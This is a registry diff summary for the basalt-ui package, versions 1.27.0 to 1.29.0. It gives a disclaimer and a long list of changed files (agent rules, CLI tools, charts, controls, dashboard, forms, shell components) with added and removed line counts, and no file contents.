basalt-ui 1.27.0 → 1.29.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +28 -35
- package/CHANGELOG.md +72 -0
- package/MIGRATING.md +759 -22
- package/README.md +56 -69
- package/agent/rules/basalt-batteries.md +60 -168
- package/agent/rules/basalt-charts.md +56 -75
- package/agent/rules/basalt-controls.md +81 -87
- package/agent/rules/basalt-mantine.md +64 -98
- package/agent/rules/basalt-state.md +42 -60
- package/agent/rules/basalt-tokens.md +46 -67
- package/agent/skills/basalt-app/SKILL.md +2 -0
- package/agent/templates/CLAUDE-block.md.tpl +14 -14
- package/configs/oxlint-plugin.js +964 -33
- package/configs/oxlint-plugin.test.ts +902 -2
- package/configs/oxlint.json +6 -0
- package/dist/agent/ai-sdk-transport.d.ts.map +1 -1
- package/dist/agent/ai-sdk-transport.js +7 -4
- package/dist/agent/coalesce.d.ts.map +1 -1
- package/dist/agent/coalesce.js +2 -1
- package/dist/agent/merge.d.ts.map +1 -1
- package/dist/agent/merge.js +2 -1
- package/dist/agent/part-list.d.ts.map +1 -1
- package/dist/agent/part-list.js +2 -0
- package/dist/agent/stick-to-bottom.d.ts +3 -6
- package/dist/agent/stick-to-bottom.d.ts.map +1 -1
- package/dist/agent/stick-to-bottom.js +6 -3
- package/dist/agent/transport.d.ts +13 -2
- package/dist/agent/transport.d.ts.map +1 -1
- package/dist/agent/use-agent-thread-runs.d.ts +12 -1
- package/dist/agent/use-agent-thread-runs.d.ts.map +1 -1
- package/dist/agent/use-agent-thread-runs.js +20 -6
- package/dist/agent-chat/composer.d.ts +6 -2
- package/dist/agent-chat/composer.d.ts.map +1 -1
- package/dist/agent-chat/composer.js +49 -33
- package/dist/agent-chat/index.d.ts +1 -1
- package/dist/agent-chat/index.d.ts.map +1 -1
- package/dist/agent-chat/relative-time.d.ts +0 -9
- package/dist/agent-chat/relative-time.d.ts.map +1 -1
- package/dist/agent-chat/relative-time.js +2 -1
- package/dist/agent-chat/thread-detail-panel.d.ts +3 -2
- package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
- package/dist/agent-chat/thread-detail-panel.js +9 -6
- package/dist/agent-chat/thread-feed-row.d.ts +32 -6
- package/dist/agent-chat/thread-feed-row.d.ts.map +1 -1
- package/dist/agent-chat/thread-feed-row.js +61 -26
- package/dist/agent-chat/thread-feed.d.ts +13 -2
- package/dist/agent-chat/thread-feed.d.ts.map +1 -1
- package/dist/agent-chat/thread-feed.js +16 -7
- package/dist/agent-chat/thread-message.d.ts +4 -3
- package/dist/agent-chat/thread-message.d.ts.map +1 -1
- package/dist/agent-chat/thread-message.js +70 -31
- package/dist/agent-chat/thread-outcome-card.d.ts +3 -2
- package/dist/agent-chat/thread-outcome-card.d.ts.map +1 -1
- package/dist/agent-chat/thread-outcome-card.js +9 -2
- package/dist/agent-chat/thread-workspace.d.ts +7 -2
- package/dist/agent-chat/thread-workspace.d.ts.map +1 -1
- package/dist/agent-chat/thread-workspace.js +62 -29
- package/dist/agent-chat/tool-chip.d.ts +3 -2
- package/dist/agent-chat/tool-chip.d.ts.map +1 -1
- package/dist/agent-chat/tool-chip.js +7 -2
- package/dist/agent-chat/virtualize.d.ts +39 -0
- package/dist/agent-chat/virtualize.d.ts.map +1 -1
- package/dist/agent-chat/virtualize.js +15 -0
- package/dist/charts/hooks/useBandPlot.d.ts.map +1 -1
- package/dist/charts/hooks/useBandPlot.js +15 -8
- package/dist/charts/index.d.ts +11 -10
- package/dist/charts/index.d.ts.map +1 -1
- package/dist/charts/index.js +53 -9
- package/dist/charts/kinds/BandStrip.d.ts +10 -7
- package/dist/charts/kinds/BandStrip.d.ts.map +1 -1
- package/dist/charts/kinds/BandStrip.js +12 -7
- package/dist/charts/kinds/Bars.d.ts +13 -9
- package/dist/charts/kinds/Bars.d.ts.map +1 -1
- package/dist/charts/kinds/Bars.js +37 -11
- package/dist/charts/kinds/Donut.d.ts +6 -5
- package/dist/charts/kinds/Donut.d.ts.map +1 -1
- package/dist/charts/kinds/Donut.js +19 -2
- package/dist/charts/kinds/DualPanel.d.ts +9 -6
- package/dist/charts/kinds/DualPanel.d.ts.map +1 -1
- package/dist/charts/kinds/DualPanel.js +37 -9
- package/dist/charts/kinds/Heatmap.d.ts +10 -6
- package/dist/charts/kinds/Heatmap.d.ts.map +1 -1
- package/dist/charts/kinds/Heatmap.js +58 -31
- package/dist/charts/kinds/MirroredBars.d.ts +6 -5
- package/dist/charts/kinds/MirroredBars.d.ts.map +1 -1
- package/dist/charts/kinds/MirroredBars.js +9 -2
- package/dist/charts/kinds/MultiLine.d.ts +11 -6
- package/dist/charts/kinds/MultiLine.d.ts.map +1 -1
- package/dist/charts/kinds/MultiLine.js +24 -15
- package/dist/charts/kinds/StackedArea.d.ts +18 -8
- package/dist/charts/kinds/StackedArea.d.ts.map +1 -1
- package/dist/charts/kinds/StackedArea.js +29 -4
- package/dist/charts/kinds/ZonedLine.d.ts +13 -11
- package/dist/charts/kinds/ZonedLine.d.ts.map +1 -1
- package/dist/charts/kinds/ZonedLine.js +33 -23
- package/dist/charts/layout/auto-margin.d.ts +65 -8
- package/dist/charts/layout/auto-margin.d.ts.map +1 -1
- package/dist/charts/layout/auto-margin.js +45 -10
- package/dist/charts/layout/log-ticks.d.ts +27 -0
- package/dist/charts/layout/log-ticks.d.ts.map +1 -0
- package/dist/charts/layout/log-ticks.js +42 -0
- package/dist/charts/primitives/Axes.d.ts +32 -4
- package/dist/charts/primitives/Axes.d.ts.map +1 -1
- package/dist/charts/primitives/Axes.js +49 -7
- package/dist/charts/primitives/CartesianChart.d.ts +45 -7
- package/dist/charts/primitives/CartesianChart.d.ts.map +1 -1
- package/dist/charts/primitives/CartesianChart.js +86 -28
- package/dist/charts/primitives/ChartCard.d.ts +45 -4
- package/dist/charts/primitives/ChartCard.d.ts.map +1 -1
- package/dist/charts/primitives/ChartCard.js +70 -21
- package/dist/charts/primitives/ChartFrame.d.ts +30 -4
- package/dist/charts/primitives/ChartFrame.d.ts.map +1 -1
- package/dist/charts/primitives/ChartFrame.js +52 -15
- package/dist/charts/primitives/ChartLegend.d.ts +13 -2
- package/dist/charts/primitives/ChartLegend.d.ts.map +1 -1
- package/dist/charts/primitives/ChartLegend.js +33 -13
- package/dist/charts/primitives/ChartPending.d.ts +85 -6
- package/dist/charts/primitives/ChartPending.d.ts.map +1 -1
- package/dist/charts/primitives/ChartPending.js +100 -6
- package/dist/charts/primitives/ChartTooltip.d.ts +7 -0
- package/dist/charts/primitives/ChartTooltip.d.ts.map +1 -1
- package/dist/charts/primitives/ChartTooltip.js +18 -5
- package/dist/charts/primitives/Crosshair.d.ts +3 -0
- package/dist/charts/primitives/Crosshair.d.ts.map +1 -1
- package/dist/charts/primitives/Crosshair.js +3 -1
- package/dist/charts/primitives/chart-frame-layout.d.ts +95 -0
- package/dist/charts/primitives/chart-frame-layout.d.ts.map +1 -0
- package/dist/charts/primitives/chart-frame-layout.js +89 -0
- package/dist/charts/primitives/chart-tier.d.ts +16 -0
- package/dist/charts/primitives/chart-tier.d.ts.map +1 -0
- package/dist/charts/primitives/chart-tier.js +20 -0
- package/dist/charts/series.d.ts +55 -1
- package/dist/charts/series.d.ts.map +1 -1
- package/dist/charts/series.js +27 -1
- package/dist/charts/sparklines/BarSparkline.d.ts +3 -3
- package/dist/charts/sparklines/BarSparkline.d.ts.map +1 -1
- package/dist/charts/sparklines/BarSparkline.js +9 -3
- package/dist/charts/sparklines/LineSparkline.d.ts +3 -3
- package/dist/charts/sparklines/LineSparkline.d.ts.map +1 -1
- package/dist/charts/sparklines/LineSparkline.js +15 -3
- package/dist/charts/sparklines/index.d.ts +2 -2
- package/dist/charts/sparklines/index.d.ts.map +1 -1
- package/dist/charts/utils/format.d.ts +7 -4
- package/dist/charts/utils/format.d.ts.map +1 -1
- package/dist/charts/utils/format.js +17 -24
- package/dist/charts/utils/ticks.d.ts +81 -2
- package/dist/charts/utils/ticks.d.ts.map +1 -1
- package/dist/charts/utils/ticks.js +54 -4
- package/dist/cli/audit-allows.d.ts +24 -0
- package/dist/cli/audit-allows.d.ts.map +1 -0
- package/dist/cli/audit-allows.js +240 -0
- package/dist/cli/check-theme.d.ts +10 -0
- package/dist/cli/check-theme.d.ts.map +1 -0
- package/dist/cli/check-theme.js +139 -0
- package/dist/cli/doctor.d.ts +47 -0
- package/dist/cli/doctor.d.ts.map +1 -0
- package/dist/cli/doctor.js +197 -0
- package/dist/cli/guard-hook.d.ts +9 -0
- package/dist/cli/guard-hook.d.ts.map +1 -0
- package/dist/cli/guard-hook.js +93 -0
- package/dist/cli/help.d.ts +9 -0
- package/dist/cli/help.d.ts.map +1 -0
- package/dist/cli/help.js +53 -0
- package/dist/cli/index.d.ts +360 -270
- package/dist/cli/index.d.ts.map +1 -1
- package/dist/cli/index.js +85 -1901
- package/dist/cli/init.d.ts +4 -0
- package/dist/cli/init.d.ts.map +1 -0
- package/dist/cli/init.js +165 -0
- package/dist/cli/sync.d.ts +43 -0
- package/dist/cli/sync.d.ts.map +1 -0
- package/dist/cli/sync.js +206 -0
- package/dist/cli/tokens-css.d.ts +51 -0
- package/dist/cli/tokens-css.d.ts.map +1 -0
- package/dist/cli/tokens-css.js +165 -0
- package/dist/commands/ShortcutsHelp.d.ts +3 -2
- package/dist/commands/ShortcutsHelp.d.ts.map +1 -1
- package/dist/commands/ShortcutsHelp.js +8 -2
- package/dist/commands/define-commands.d.ts.map +1 -1
- package/dist/commands/define-commands.js +2 -2
- package/dist/commands/define-overlays.d.ts +102 -0
- package/dist/commands/define-overlays.d.ts.map +1 -1
- package/dist/commands/define-overlays.js +102 -2
- package/dist/commands/index.d.ts +12 -2
- package/dist/commands/index.d.ts.map +1 -1
- package/dist/commands/index.js +9 -1
- package/dist/commands/overlays-mount.d.ts +16 -11
- package/dist/commands/overlays-mount.d.ts.map +1 -1
- package/dist/commands/overlays-mount.js +23 -14
- package/dist/commands/shell-bridge.d.ts +57 -0
- package/dist/commands/shell-bridge.d.ts.map +1 -0
- package/dist/commands/shell-bridge.js +32 -0
- package/dist/common/errors.d.ts +69 -0
- package/dist/common/errors.d.ts.map +1 -0
- package/dist/common/errors.js +64 -0
- package/dist/common/index.d.ts +17 -0
- package/dist/common/index.d.ts.map +1 -0
- package/dist/common/index.js +35 -0
- package/dist/common/is-dev.d.ts +3 -0
- package/dist/common/is-dev.d.ts.map +1 -0
- package/dist/common/is-dev.js +6 -0
- package/dist/{motion/index.d.ts → common/motion.d.ts} +1 -1
- package/dist/common/motion.d.ts.map +1 -0
- package/dist/common/props.d.ts +63 -0
- package/dist/common/props.d.ts.map +1 -0
- package/dist/common/props.js +6 -0
- package/dist/common/query-state-like.d.ts +43 -0
- package/dist/common/query-state-like.d.ts.map +1 -0
- package/dist/common/query-state-like.js +20 -0
- package/dist/common/refs.d.ts +29 -0
- package/dist/common/refs.d.ts.map +1 -0
- package/dist/common/refs.js +29 -0
- package/dist/common/scroll-parent.d.ts +23 -0
- package/dist/common/scroll-parent.d.ts.map +1 -0
- package/dist/common/scroll-parent.js +21 -0
- package/dist/common/validate.d.ts +38 -0
- package/dist/common/validate.d.ts.map +1 -0
- package/dist/common/validate.js +36 -0
- package/dist/content/article-layout.module.css +11 -4
- package/dist/content/callout.d.ts +8 -4
- package/dist/content/callout.d.ts.map +1 -1
- package/dist/content/callout.js +15 -8
- package/dist/content/guide.d.ts +5 -4
- package/dist/content/guide.d.ts.map +1 -1
- package/dist/content/guide.js +13 -4
- package/dist/content/heading-anchor.d.ts +24 -2
- package/dist/content/heading-anchor.d.ts.map +1 -1
- package/dist/content/heading-anchor.js +23 -9
- package/dist/content/index.d.ts.map +1 -1
- package/dist/content/markdown.d.ts +3 -4
- package/dist/content/markdown.d.ts.map +1 -1
- package/dist/content/markdown.js +3 -4
- package/dist/content/prose.module.css +9 -7
- package/dist/content/reading-progress.d.ts +10 -4
- package/dist/content/reading-progress.d.ts.map +1 -1
- package/dist/content/reading-progress.js +26 -10
- package/dist/content/slug.d.ts +4 -0
- package/dist/content/slug.d.ts.map +1 -1
- package/dist/content/toc.d.ts +11 -0
- package/dist/content/toc.d.ts.map +1 -1
- package/dist/content/toc.js +23 -10
- package/dist/controls/actions.d.ts +50 -7
- package/dist/controls/actions.d.ts.map +1 -1
- package/dist/controls/actions.js +39 -8
- package/dist/controls/compare-filter.d.ts +3 -2
- package/dist/controls/compare-filter.d.ts.map +1 -1
- package/dist/controls/compare-filter.js +17 -2
- package/dist/controls/control-group.d.ts +3 -3
- package/dist/controls/control-group.d.ts.map +1 -1
- package/dist/controls/control-group.js +9 -2
- package/dist/controls/controls.module.css +169 -186
- package/dist/controls/controls.module.css.d.ts +9 -11
- package/dist/controls/enum-filter.d.ts +3 -2
- package/dist/controls/enum-filter.d.ts.map +1 -1
- package/dist/controls/enum-filter.js +28 -13
- package/dist/controls/filter-context.d.ts +8 -4
- package/dist/controls/filter-context.d.ts.map +1 -1
- package/dist/controls/filter-pill.d.ts +3 -3
- package/dist/controls/filter-pill.d.ts.map +1 -1
- package/dist/controls/filter-pill.js +4 -1
- package/dist/controls/filter-set.d.ts +3 -2
- package/dist/controls/filter-set.d.ts.map +1 -1
- package/dist/controls/filter-set.js +66 -41
- package/dist/controls/filter-sheet.d.ts +20 -80
- package/dist/controls/filter-sheet.d.ts.map +1 -1
- package/dist/controls/filter-sheet.js +9 -95
- package/dist/controls/index.d.ts +2 -0
- package/dist/controls/index.d.ts.map +1 -1
- package/dist/controls/index.js +4 -0
- package/dist/controls/multi-select-filter.d.ts +18 -2
- package/dist/controls/multi-select-filter.d.ts.map +1 -1
- package/dist/controls/multi-select-filter.js +122 -20
- package/dist/controls/number-filter.d.ts +7 -5
- package/dist/controls/number-filter.d.ts.map +1 -1
- package/dist/controls/number-filter.js +40 -11
- package/dist/controls/panel-row.d.ts +132 -0
- package/dist/controls/panel-row.d.ts.map +1 -0
- package/dist/controls/panel-row.js +173 -0
- package/dist/controls/panel-row.module.css +86 -0
- package/dist/controls/panel-row.module.css.d.ts +13 -0
- package/dist/controls/range-filter.d.ts +2 -1
- package/dist/controls/range-filter.d.ts.map +1 -1
- package/dist/controls/range-filter.js +57 -35
- package/dist/controls/search-filter.d.ts +3 -2
- package/dist/controls/search-filter.d.ts.map +1 -1
- package/dist/controls/search-filter.js +25 -10
- package/dist/controls/select-filter.d.ts +2 -1
- package/dist/controls/select-filter.d.ts.map +1 -1
- package/dist/controls/select-filter.js +4 -0
- package/dist/controls/slider-control.d.ts +36 -0
- package/dist/controls/slider-control.d.ts.map +1 -0
- package/dist/controls/slider-control.js +64 -0
- package/dist/controls/sync-button.d.ts +3 -2
- package/dist/controls/sync-button.d.ts.map +1 -1
- package/dist/controls/sync-button.js +16 -3
- package/dist/controls/toggle-filter.d.ts +3 -2
- package/dist/controls/toggle-filter.d.ts.map +1 -1
- package/dist/controls/toggle-filter.js +28 -11
- package/dist/controls/view-tabs.d.ts +3 -2
- package/dist/controls/view-tabs.d.ts.map +1 -1
- package/dist/controls/view-tabs.js +43 -11
- package/dist/controls-dates/date-range-picker.d.ts +1 -1
- package/dist/controls-dates/date-range-picker.d.ts.map +1 -1
- package/dist/controls-dates/date-range-picker.js +6 -1
- package/dist/dashboard/delta-badge.d.ts +18 -6
- package/dist/dashboard/delta-badge.d.ts.map +1 -1
- package/dist/dashboard/delta-badge.js +33 -1
- package/dist/dashboard/empty-state.d.ts +8 -4
- package/dist/dashboard/empty-state.d.ts.map +1 -1
- package/dist/dashboard/empty-state.js +36 -6
- package/dist/dashboard/index.d.ts +9 -5
- package/dist/dashboard/index.d.ts.map +1 -1
- package/dist/dashboard/index.js +13 -1
- package/dist/dashboard/query-state.d.ts +39 -27
- package/dist/dashboard/query-state.d.ts.map +1 -1
- package/dist/dashboard/query-state.js +109 -58
- package/dist/dashboard/section.d.ts +58 -0
- package/dist/dashboard/section.d.ts.map +1 -0
- package/dist/dashboard/section.js +118 -0
- package/dist/{section → dashboard}/section.module.css +11 -0
- package/dist/dashboard/settings-section.d.ts +19 -9
- package/dist/dashboard/settings-section.d.ts.map +1 -1
- package/dist/dashboard/settings-section.js +75 -26
- package/dist/dashboard/stat-card.d.ts +44 -38
- package/dist/dashboard/stat-card.d.ts.map +1 -1
- package/dist/dashboard/stat-card.js +56 -43
- package/dist/dashboard/stat-card.module.css +46 -31
- package/dist/dashboard/stat-card.module.css.d.ts +1 -0
- package/dist/dashboard/stat-group.d.ts +41 -0
- package/dist/dashboard/stat-group.d.ts.map +1 -0
- package/dist/dashboard/stat-group.js +30 -0
- package/dist/dashboard/stat-group.module.css +66 -0
- package/dist/dashboard/stat-group.module.css.d.ts +8 -0
- package/dist/dashboard/widget-grid.d.ts +27 -0
- package/dist/dashboard/widget-grid.d.ts.map +1 -0
- package/dist/dashboard/widget-grid.js +41 -0
- package/dist/dashboard/widget-grid.module.css +53 -0
- package/dist/dashboard/widget-grid.module.css.d.ts +9 -0
- package/dist/dashboard/widget-header.d.ts +132 -0
- package/dist/dashboard/widget-header.d.ts.map +1 -0
- package/dist/{widget-header → dashboard}/widget-header.js +42 -27
- package/dist/{widget-header → dashboard}/widget-header.module.css +72 -7
- package/dist/data/data-table.d.ts +151 -12
- package/dist/data/data-table.d.ts.map +1 -1
- package/dist/data/data-table.js +385 -139
- package/dist/data/data-table.module.css +64 -0
- package/dist/data/data-table.module.css.d.ts +11 -0
- package/dist/data/query-branch.d.ts +28 -0
- package/dist/data/query-branch.d.ts.map +1 -0
- package/dist/data/query-branch.js +10 -0
- package/dist/data/table.d.ts +2 -2
- package/dist/data/table.d.ts.map +1 -1
- package/dist/data/table.js +2 -16
- package/dist/data/virtual-list.d.ts +65 -6
- package/dist/data/virtual-list.d.ts.map +1 -1
- package/dist/data/virtual-list.js +89 -38
- package/dist/data/virtual.d.ts +4 -4
- package/dist/data/virtual.d.ts.map +1 -1
- package/dist/dev-dock.d.ts +28 -0
- package/dist/dev-dock.d.ts.map +1 -0
- package/dist/dev-dock.js +85 -0
- package/dist/format/date.d.ts +62 -0
- package/dist/format/date.d.ts.map +1 -0
- package/dist/format/date.js +106 -0
- package/dist/format/index.d.ts +39 -0
- package/dist/format/index.d.ts.map +1 -0
- package/dist/format/index.js +54 -0
- package/dist/format/measure.d.ts +15 -0
- package/dist/format/measure.d.ts.map +1 -0
- package/dist/format/measure.js +16 -0
- package/dist/format/number.d.ts +69 -0
- package/dist/format/number.d.ts.map +1 -0
- package/dist/format/number.js +62 -0
- package/dist/format/shared.d.ts +27 -0
- package/dist/format/shared.d.ts.map +1 -0
- package/dist/format/shared.js +29 -0
- package/dist/forms/FormErrorSummary.d.ts +4 -3
- package/dist/forms/FormErrorSummary.d.ts.map +1 -1
- package/dist/forms/FormErrorSummary.js +6 -4
- package/dist/forms/create-form.d.ts +2 -2
- package/dist/forms/field.d.ts +33 -9
- package/dist/forms/field.d.ts.map +1 -1
- package/dist/forms/field.js +7 -6
- package/dist/forms/form-layout.d.ts +142 -0
- package/dist/forms/form-layout.d.ts.map +1 -0
- package/dist/forms/form-layout.js +110 -0
- package/dist/forms/form-layout.module.css +145 -0
- package/dist/forms/form-layout.module.css.d.ts +20 -0
- package/dist/forms/form-state.d.ts +42 -0
- package/dist/forms/form-state.d.ts.map +1 -0
- package/dist/forms/form-state.js +26 -0
- package/dist/forms/index.d.ts +22 -6
- package/dist/forms/index.d.ts.map +1 -1
- package/dist/forms/index.js +19 -4
- package/dist/forms/use-field-array.d.ts +60 -0
- package/dist/forms/use-field-array.d.ts.map +1 -0
- package/dist/forms/use-field-array.js +20 -0
- package/dist/forms/use-form-draft.d.ts +25 -10
- package/dist/forms/use-form-draft.d.ts.map +1 -1
- package/dist/forms/use-form-draft.js +55 -18
- package/dist/forms/use-form-submit.d.ts +88 -0
- package/dist/forms/use-form-submit.d.ts.map +1 -0
- package/dist/forms/use-form-submit.js +63 -0
- package/dist/guard/index.d.ts +2 -9
- package/dist/guard/index.d.ts.map +1 -1
- package/dist/guard/index.js +38 -28
- package/dist/guard/types.d.ts +8 -10
- package/dist/guard/types.d.ts.map +1 -1
- package/dist/index.d.ts +21 -14
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +40 -6
- package/dist/notifications/bell.d.ts +3 -2
- package/dist/notifications/bell.d.ts.map +1 -1
- package/dist/notifications/bell.js +73 -56
- package/dist/notifications/center.d.ts +15 -4
- package/dist/notifications/center.d.ts.map +1 -1
- package/dist/notifications/center.js +5 -2
- package/dist/notifications/define-notifications.d.ts +56 -14
- package/dist/notifications/define-notifications.d.ts.map +1 -1
- package/dist/notifications/define-notifications.js +2 -1
- package/dist/notifications/index.d.ts +11 -7
- package/dist/notifications/index.d.ts.map +1 -1
- package/dist/notifications/index.js +5 -3
- package/dist/notifications/mount-guard.d.ts +8 -0
- package/dist/notifications/mount-guard.d.ts.map +1 -0
- package/dist/notifications/mount-guard.js +19 -0
- package/dist/notifications/notify.d.ts +58 -1
- package/dist/notifications/notify.d.ts.map +1 -1
- package/dist/notifications/notify.js +46 -2
- package/dist/notifications/store.d.ts +7 -0
- package/dist/notifications/store.d.ts.map +1 -1
- package/dist/provider/connectivity-indicator.d.ts +13 -0
- package/dist/provider/connectivity-indicator.d.ts.map +1 -0
- package/dist/{connectivity → provider}/connectivity-indicator.js +3 -1
- package/dist/{connectivity → provider}/connectivity-provider.d.ts +1 -1
- package/dist/provider/connectivity-provider.d.ts.map +1 -0
- package/dist/{connectivity → provider}/connectivity-provider.js +4 -1
- package/dist/{connectivity/types.d.ts → provider/connectivity-types.d.ts} +3 -3
- package/dist/provider/connectivity-types.d.ts.map +1 -0
- package/dist/provider/error-fallback.module.css +21 -0
- package/dist/provider/error-fallback.module.css.d.ts +9 -0
- package/dist/provider/index.d.ts +29 -13
- package/dist/provider/index.d.ts.map +1 -1
- package/dist/provider/index.js +82 -34
- package/dist/provider/lab-theme.d.ts.map +1 -1
- package/dist/provider/lab-theme.js +2 -1
- package/dist/provider/use-connectivity.d.ts +3 -0
- package/dist/provider/use-connectivity.d.ts.map +1 -0
- package/dist/query-client.d.ts +63 -0
- package/dist/query-client.d.ts.map +1 -0
- package/dist/query-client.js +33 -0
- package/dist/{query/devtools.d.ts → query-devtools.d.ts} +2 -2
- package/dist/query-devtools.d.ts.map +1 -0
- package/dist/{query/devtools.js → query-devtools.js} +1 -0
- package/dist/register.d.ts +17 -3
- package/dist/register.d.ts.map +1 -1
- package/dist/router-tanstack/index.d.ts +4 -7
- package/dist/router-tanstack/index.d.ts.map +1 -1
- package/dist/router-tanstack/index.js +1 -9
- package/dist/router-tanstack/nav.d.ts +1 -1
- package/dist/router-tanstack/nav.d.ts.map +1 -1
- package/dist/router-tanstack/search-store.d.ts +3 -6
- package/dist/router-tanstack/search-store.d.ts.map +1 -1
- package/dist/router-tanstack/search-store.js +1 -1
- package/dist/router-tanstack/use-nav.d.ts +1 -1
- package/dist/router-tanstack/use-nav.d.ts.map +1 -1
- package/dist/router-tanstack/use-nav.js +1 -1
- package/dist/shell/account-types.d.ts +5 -2
- package/dist/shell/account-types.d.ts.map +1 -1
- package/dist/shell/app-brand.d.ts +13 -0
- package/dist/shell/app-brand.d.ts.map +1 -0
- package/dist/shell/app-brand.js +94 -0
- package/dist/shell/app-brand.module.css +109 -0
- package/dist/shell/app-brand.module.css.d.ts +14 -0
- package/dist/shell/app-breadcrumbs.d.ts +5 -3
- package/dist/shell/app-breadcrumbs.d.ts.map +1 -1
- package/dist/shell/app-breadcrumbs.js +33 -22
- package/dist/shell/app-header.module.css +10 -5
- package/dist/shell/app-main.module.css +118 -0
- package/dist/shell/app-main.module.css.d.ts +11 -0
- package/dist/shell/app-mobile-nav.d.ts +4 -3
- package/dist/shell/app-mobile-nav.d.ts.map +1 -1
- package/dist/shell/app-mobile-nav.js +53 -17
- package/dist/shell/app-mobile-nav.module.css +48 -27
- package/dist/shell/app-mobile-nav.module.css.d.ts +0 -1
- package/dist/shell/app-sidebar-account.d.ts +2 -1
- package/dist/shell/app-sidebar-account.d.ts.map +1 -1
- package/dist/shell/app-sidebar-account.js +57 -22
- package/dist/shell/app-sidebar.d.ts +10 -4
- package/dist/shell/app-sidebar.d.ts.map +1 -1
- package/dist/shell/app-sidebar.js +78 -103
- package/dist/shell/app-sidebar.module.css +63 -96
- package/dist/shell/app-sidebar.module.css.d.ts +0 -5
- package/dist/shell/index.d.ts +24 -10
- package/dist/shell/index.d.ts.map +1 -1
- package/dist/shell/index.js +60 -29
- package/dist/shell/isomorphic-layout-effect.d.ts +14 -0
- package/dist/shell/isomorphic-layout-effect.d.ts.map +1 -0
- package/dist/shell/isomorphic-layout-effect.js +5 -0
- package/dist/shell/mobile-nav-model.d.ts +1 -1
- package/dist/shell/mobile-nav-model.d.ts.map +1 -1
- package/dist/shell/mobile-nav-model.js +27 -6
- package/dist/shell/nav-count-badge.d.ts +5 -3
- package/dist/shell/nav-count-badge.d.ts.map +1 -1
- package/dist/shell/nav-count-badge.js +3 -1
- package/dist/{nav/types.d.ts → shell/nav-types.d.ts} +16 -7
- package/dist/shell/nav-types.d.ts.map +1 -0
- package/dist/shell/page-aside.d.ts +43 -0
- package/dist/shell/page-aside.d.ts.map +1 -0
- package/dist/shell/page-aside.js +175 -0
- package/dist/shell/page-aside.module.css +174 -0
- package/dist/shell/page-aside.module.css.d.ts +14 -0
- package/dist/shell/page-bar.d.ts +55 -15
- package/dist/shell/page-bar.d.ts.map +1 -1
- package/dist/shell/page-bar.js +130 -41
- package/dist/shell/page-bar.module.css +107 -13
- package/dist/shell/page-bar.module.css.d.ts +4 -1
- package/dist/shell/page-title.d.ts +14 -0
- package/dist/shell/page-title.d.ts.map +1 -0
- package/dist/shell/page-title.js +25 -0
- package/dist/shell/page-title.module.css +33 -0
- package/dist/shell/page-title.module.css.d.ts +11 -0
- package/dist/shell/sidebar-block-model.d.ts +1 -1
- package/dist/shell/sidebar-block-model.d.ts.map +1 -1
- package/dist/shell/sidebar-blocks.d.ts +1 -1
- package/dist/shell/sidebar-blocks.d.ts.map +1 -1
- package/dist/shell/sidebar-search.d.ts +4 -2
- package/dist/shell/sidebar-search.d.ts.map +1 -1
- package/dist/shell/sidebar-search.js +9 -4
- package/dist/shell/sidebar-search.module.css +1 -1
- package/dist/shell/use-breakpoint.d.ts +11 -0
- package/dist/shell/use-breakpoint.d.ts.map +1 -0
- package/dist/shell/use-breakpoint.js +33 -0
- package/dist/state/fields.d.ts +26 -22
- package/dist/state/fields.d.ts.map +1 -1
- package/dist/state/fields.js +19 -18
- package/dist/state/persisted-or-local.d.ts +9 -0
- package/dist/state/persisted-or-local.d.ts.map +1 -0
- package/dist/state/persisted-or-local.js +24 -0
- package/dist/state.d.ts +1 -1
- package/dist/state.d.ts.map +1 -1
- package/dist/state.js +2 -6
- package/dist/styles.css +36 -0
- package/dist/surfaces.d.ts +25 -47
- package/dist/surfaces.d.ts.map +1 -1
- package/dist/surfaces.js +72 -55
- package/dist/theme/ctl-theme.d.ts.map +1 -1
- package/dist/theme/index.d.ts.map +1 -1
- package/dist/theme/index.js +102 -17
- package/dist/theme/nav-link.module.css +37 -26
- package/dist/theme/segmented-control.module.css +22 -0
- package/dist/theme/segmented-control.module.css.d.ts +1 -0
- package/dist/theme/theme-toggle.d.ts +9 -0
- package/dist/theme/theme-toggle.d.ts.map +1 -0
- package/dist/{theme-toggle/index.js → theme/theme-toggle.js} +9 -3
- package/dist/theme-lab/boot.d.ts +66 -0
- package/dist/theme-lab/boot.d.ts.map +1 -0
- package/dist/theme-lab/boot.js +82 -0
- package/dist/theme-lab/index.d.ts +4 -43
- package/dist/theme-lab/index.d.ts.map +1 -1
- package/dist/theme-lab/index.js +9 -69
- package/dist/tokens/index.d.ts +43 -0
- package/dist/tokens/index.d.ts.map +1 -1
- package/dist/tokens/index.js +45 -6
- package/dist/tokens/palette.d.ts +57 -25
- package/dist/tokens/palette.d.ts.map +1 -1
- package/dist/tokens/palette.js +44 -15
- package/dist/tokens.css +5 -5
- package/llms.txt +11 -26
- package/package.json +54 -34
- package/src/agent/ai-sdk-transport.ts +11 -4
- package/src/agent/coalesce.ts +2 -1
- package/src/agent/merge.ts +2 -1
- package/src/agent/part-list.tsx +2 -0
- package/src/agent/stick-to-bottom.tsx +9 -11
- package/src/agent/transport.ts +15 -2
- package/src/agent/use-agent-thread-runs.ts +65 -15
- package/src/agent-chat/composer.tsx +124 -103
- package/src/agent-chat/index.ts +6 -4
- package/src/agent-chat/relative-time.ts +2 -1
- package/src/agent-chat/thread-detail-panel.tsx +10 -6
- package/src/agent-chat/thread-feed-row.tsx +117 -34
- package/src/agent-chat/thread-feed.tsx +59 -27
- package/src/agent-chat/thread-message.tsx +48 -13
- package/src/agent-chat/thread-outcome-card.tsx +9 -1
- package/src/agent-chat/thread-workspace.tsx +72 -33
- package/src/agent-chat/tool-chip.tsx +8 -2
- package/src/agent-chat/virtualize.ts +48 -0
- package/src/charts/hooks/useBandPlot.ts +26 -8
- package/src/charts/index.ts +46 -14
- package/src/charts/kinds/BandStrip.tsx +36 -14
- package/src/charts/kinds/Bars.tsx +68 -20
- package/src/charts/kinds/Donut.tsx +30 -3
- package/src/charts/kinds/DualPanel.tsx +60 -13
- package/src/charts/kinds/Heatmap.tsx +90 -33
- package/src/charts/kinds/MirroredBars.tsx +21 -3
- package/src/charts/kinds/MultiLine.tsx +61 -18
- package/src/charts/kinds/StackedArea.tsx +77 -6
- package/src/charts/kinds/ZonedLine.tsx +72 -35
- package/src/charts/layout/auto-margin.ts +134 -21
- package/src/charts/layout/log-ticks.ts +90 -0
